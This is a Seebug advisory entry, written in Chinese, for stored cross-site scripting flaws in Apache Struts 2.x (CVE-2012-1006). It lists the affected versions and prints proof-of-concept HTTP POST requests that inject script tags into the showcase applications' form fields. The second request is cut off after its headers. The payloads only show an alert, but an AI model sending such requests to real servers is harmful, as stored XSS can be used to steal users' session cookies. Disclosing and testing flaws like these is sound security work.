Apache Struts多个HTML代码注入漏洞

2012-02-09T00:00:00
ID SSV:30098
Type seebug
Reporter Root
Modified 2012-02-09T00:00:00

Description

BUGTRAQ ID: 51902 CVE ID: CVE-2012-1006

Apache Struts是一款开发Java web应用程序的开源Web应用框架。

Apache Struts在实现上存在多个HTML注入漏洞,攻击者可利用这些漏洞在受影响浏览器中运行HTML和脚本代码,窃取Cookie身份验证凭证或控制站点外观。 0 Apache Group Struts 2.2.3 Apache Group Struts 2.0.14 厂商补丁:

Apache Group

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://httpd.apache.org/

                                        
                                            
                                                POC 1:
-----
Stored XSS

POST struts2-showcase/person/editPerson.action HTTP/1.1

Host: SERVER_IP:8080
User-Agent: struts2-showcase XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

Post Data:
----------
persons%281%29.name=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript
%3E&persons%281%29.lastName=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2
Fscript%3E&method%3Asave=Save+all+persons


POC 2:
-----
Stored XSS

POST /struts2-rest-showcase/orders HTTP/1.1

Host: SERVER_IP:8080
User-Agent: struts2-rest-showcase XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 78